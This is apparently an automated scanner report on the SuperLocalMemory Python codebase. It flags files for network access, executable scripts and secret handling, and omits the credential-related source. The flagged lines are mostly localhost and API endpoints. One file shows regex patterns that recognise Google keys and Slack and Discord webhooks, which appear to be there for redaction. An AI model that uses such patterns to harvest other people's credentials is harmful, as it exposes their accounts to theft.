# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/retention.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/compliance/scheduler.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/contracts/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/contracts/schemas/agent-experience-v1.schema.json
src/superlocalmemory/contracts/schemas/agent-integration-contract-v2.schema.json
src/superlocalmemory/contracts/schemas/cognitive-turn-receipt-v1.schema.json
src/superlocalmemory/contracts/v402.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/actor_context.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/admission.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/admission_coverage.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/agent_attribution.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/answer_calibration.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/answer_check_deferred.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/answer_check_history.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/answer_check_history_stats.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/answer_check_history_store.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/answer_check_memo.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/answer_check_notice.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/answer_check_reload.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/answer_check_scope.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/answer_check_stage.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/answer_check_state.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/audit_record.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/backend_orchestrator.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 235
[Credential-related source omitted] - Access to secretsline 272
[Credential-related source omitted]
src/superlocalmemory/core/background_process.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/block_hygiene.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/bounded_embedding.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/calibration_candidates.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/calibration_control.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/calibration_examples.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/calibration_guard.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/calibration_measure.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/caller_session.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Access to secretsline 43
[Credential-related source omitted]
src/superlocalmemory/core/community_summary.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/component_healer.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/component_registry.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 195
status=STATUS_OK if ok else STATUS_MISSING, detail=f"{v.major}.{v.minor}.{v.micro}" + ("" if ok else " (need >= 3.12)"), fix_cmd="" if ok else "Install Python 3.12+ from https://python.org/downloads/", - Network accessline 196
detail=f"{v.major}.{v.minor}.{v.micro}" + ("" if ok else " (need >= 3.12)"), fix_cmd="" if ok else "Install Python 3.12+ from https://python.org/downloads/", auto_fixable=False, - Network accessline 197
fix_cmd="" if ok else "Install Python 3.12+ from https://python.org/downloads/", - Access to secretsline 312
[Credential-related source omitted] - Network accessline 401
mode = "" api_base = "http://localhost:11434" - Network accessline 402
api_base = "http://localhost:11434" - Network accessline 420
resp = httpx.get(f"{api_base}/api/tags", timeout=5.0) - Network accessline 442
category=CATEGORY_RECOMMENDED, status=STATUS_MISSING, detail=status_detail, fix_cmd="Install/start Ollama: https://ollama.com then: brew services start ollama", - Network accessline 443
detail=status_detail, fix_cmd="Install/start Ollama: https://ollama.com then: brew services start ollama", auto_fixable=False, last_checked=time.time(), - Network accessline 444
fix_cmd="Install/start Ollama: https://ollama.com then: brew services start ollama",
src/superlocalmemory/core/config.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 113
ollama_model: str = "nomic-embed-text" ollama_base_url: str = "http://localhost:11434" - Network accessline 114
ollama_base_url: str = "http://localhost:11434" - Access to secretsline 117
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Access to secretsline 410
[Credential-related source omitted] - Access to secretsline 413
[Credential-related source omitted] - Access to secretsline 575
[Credential-related source omitted] - Access to secretsline 1450
[Credential-related source omitted] - Access to secretsline 1454
[Credential-related source omitted] - Access to secretsline 1787
[Credential-related source omitted] - Access to secretsline 1795
[Credential-related source omitted] - Network accessline 1952
return { "openai": { "base_url": "https://api.openai.com/v1", - Network accessline 1953
"openai": { "base_url": "https://api.openai.com/v1", "model": _catalog.OPENAI_LLM, - Network accessline 1954
"base_url": "https://api.openai.com/v1", - Access to secretsline 1957
[Credential-related source omitted] - Network accessline 1958
}, "anthropic": { "base_url": "https://api.anthropic.com", - Network accessline 1959
"anthropic": { "base_url": "https://api.anthropic.com", "model": _catalog.ANTHROPIC_LLM, - Network accessline 1960
"base_url": "https://api.anthropic.com", - Access to secretsline 1963
[Credential-related source omitted] - Network accessline 1964
}, "ollama": { "base_url": "http://localhost:11434", - Network accessline 1965
"ollama": { "base_url": "http://localhost:11434", "model": _catalog.DEFAULT_LOCAL_LLM, - Network accessline 1966
"base_url": "http://localhost:11434", - Network accessline 1970
}, "openrouter": { "base_url": "https://openrouter.ai/api/v1", - Network accessline 1971
"openrouter": { "base_url": "https://openrouter.ai/api/v1", "model": _catalog.DEFAULT_HOSTED_LLM, - Network accessline 1972
"base_url": "https://openrouter.ai/api/v1", - Access to secretsline 1975
[Credential-related source omitted] - Access to secretsline 2007
[Credential-related source omitted] - Access to secretsline 2043
[Credential-related source omitted] - Network accessline 2049
provider=_a_provider, ollama_model=embedding_ollama_model or "nomic-embed-text", ollama_base_url=embedding_ollama_base_url or "http://localhost:11434", - Network accessline 2050
ollama_model=embedding_ollama_model or "nomic-embed-text", ollama_base_url=embedding_ollama_base_url or "http://localhost:11434", ) - Network accessline 2051
ollama_base_url=embedding_ollama_base_url or "http://localhost:11434", - Access to secretsline 2096
[Credential-related source omitted] - Network accessline 2102
provider=_b_provider, ollama_model=embedding_ollama_model or "nomic-embed-text", ollama_base_url=embedding_ollama_base_url or "http://localhost:11434", - Network accessline 2103
ollama_model=embedding_ollama_model or "nomic-embed-text", ollama_base_url=embedding_ollama_base_url or "http://localhost:11434", ) - Network accessline 2104
ollama_base_url=embedding_ollama_base_url or "http://localhost:11434", - Network accessline 2117
provider=llm_provider or "ollama", model=llm_model or _catalog.DEFAULT_LOCAL_LLM, api_base=llm_api_base or "http://localhost:11434", - Network accessline 2118
[Credential-related source omitted] - Network accessline 2119
api_base=llm_api_base or "http://localhost:11434", - Access to secretsline 2120
[Credential-related source omitted] - Access to secretsline 2141
[Credential-related source omitted] - Access to secretsline 2149
[Credential-related source omitted] - Access to secretsline 2172
[Credential-related source omitted] - Network accessline 2328
provider="ollama", model=_catalog.DEFAULT_LOCAL_LLM, api_base="http://localhost:11434", - Network accessline 2329
model=_catalog.DEFAULT_LOCAL_LLM, api_base="http://localhost:11434", ), - Network accessline 2330
api_base="http://localhost:11434", - Network accessline 2375
# which never has a prior config.json) takes on first boot. # It used to default to Mode B — pointed at # http://localhost:11434 for both the LLM and embeddings — with - Network accessline 2376
# It used to default to Mode B — pointed at # http://localhost:11434 for both the LLM and embeddings — with # no reachability check (LLMBackbone.is_available() always - Network accessline 2377
# http://localhost:11434 for both the LLM and embeddings — with
src/superlocalmemory/core/config_upgrades.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/consolidation_engine.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/context_cache.py
src/superlocalmemory/core/correction_protection.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/coverage_backfill.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/credential_shapes.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 62
(re.compile(r"\bya29\.[A-Za-z0-9_\-]{20,400}"), "GOOGLE_OAUTH"), (re.compile(r"\bAIza[0-9A-Za-z_\-]{35}"), "GOOGLE_API"), (re.compile(r"(https://hooks\.slack\.com/(?:services|workflows|triggers)/)" - Network accessline 63
(re.compile(r"\bAIza[0-9A-Za-z_\-]{35}"), "GOOGLE_API"), (re.compile(r"(https://hooks\.slack\.com/(?:services|workflows|triggers)/)" r"[A-Za-z0-9/_\-]{8,300}"), "SLACK_WEBHOOK"), - Network accessline 64
(re.compile(r"(https://hooks\.slack\.com/(?:services|workflows|triggers)/)" - Network accessline 65
r"[A-Za-z0-9/_\-]{8,300}"), "SLACK_WEBHOOK"), (re.compile(r"(https://(?:discord|discordapp)\.com/api/webhooks/\d{1,30}/)" r"[A-Za-z0-9_\-]{8,300}"), "DISCORD_WEBHOOK"), - Network accessline 66
(re.compile(r"(https://(?:discord|discordapp)\.com/api/webhooks/\d{1,30}/)" - Access to secretsline 88
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 138
[Credential-related source omitted]
src/superlocalmemory/core/daemon_text_embedder.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/data_locality.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 41
_OLLAMA_TEMPLATE_BASE = "http://localhost:11434"
src/superlocalmemory/core/deferred_admission.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/delete_refusal.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/derivation_lineage.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/derived_cache_policy.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """When the derivation cache must be emptied: redaction changes and erasure. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 26
[Credential-related source omitted]
src/superlocalmemory/core/description_metadata.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/egress_notice.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/embedding_endpoint_check.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/embedding_live.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 95
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted]
src/superlocalmemory/core/embedding_memory.py
src/superlocalmemory/core/embedding_providers.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/embedding_recipe.py
src/superlocalmemory/core/embedding_recipe_v1.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/embedding_reindex.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 165
[Credential-related source omitted]
src/superlocalmemory/core/embedding_reindex_activate.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 106
[Credential-related source omitted]
src/superlocalmemory/core/embedding_reindex_baselines.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/embedding_reindex_daemon.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 61
[Credential-related source omitted]
src/superlocalmemory/core/embedding_reindex_secrets.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/embedding_reindex_steps.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 35
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted]
src/superlocalmemory/core/embedding_worker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 32
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 35
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 78
[Credential-related source omitted]
src/superlocalmemory/core/embeddings.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 194
[Credential-related source omitted] - Access to secretsline 198
[Credential-related source omitted] - Access to secretsline 202
[Credential-related source omitted] - Access to secretsline 263
[Credential-related source omitted] - Access to secretsline 795
[Credential-related source omitted] - Network accessline 951
from superlocalmemory.core.outbound_http import GatedClient self._http_client = GatedClient( timeout=httpx.Timeout(connect=5.0, read=30.0, write=10.0, pool=5.0), - Network accessline 952
self._http_client = GatedClient( timeout=httpx.Timeout(connect=5.0, read=30.0, write=10.0, pool=5.0), ) - Network accessline 953
timeout=httpx.Timeout(connect=5.0, read=30.0, write=10.0, pool=5.0), - Access to secretsline 970
[Credential-related source omitted] - Access to secretsline 971
[Credential-related source omitted] - Access to secretsline 1058
[Credential-related source omitted]
src/superlocalmemory/core/engine.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 707
[Credential-related source omitted]
src/superlocalmemory/core/engine_capabilities.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/engine_ingestion.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/engine_lock.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/engine_upgrade.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 56
[Credential-related source omitted]
src/superlocalmemory/core/engine_wiring.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 88
[Credential-related source omitted]
src/superlocalmemory/core/enriched_fact.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/enrichment.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/entity_community.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/erasure_scrub.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/error_envelope.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/evidence_bundle.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/fact_consolidator.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 705
api_base = "http://localhost:11434" - Network accessline 731
req = urllib.request.Request(
src/superlocalmemory/core/file_lock.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/graph_analyzer.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/graph_metrics.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/graph_metrics_process.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 87
[Credential-related source omitted]
src/superlocalmemory/core/graph_projection_check.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/graph_pruner.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/health_monitor.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/health_repairs.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/hooks.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
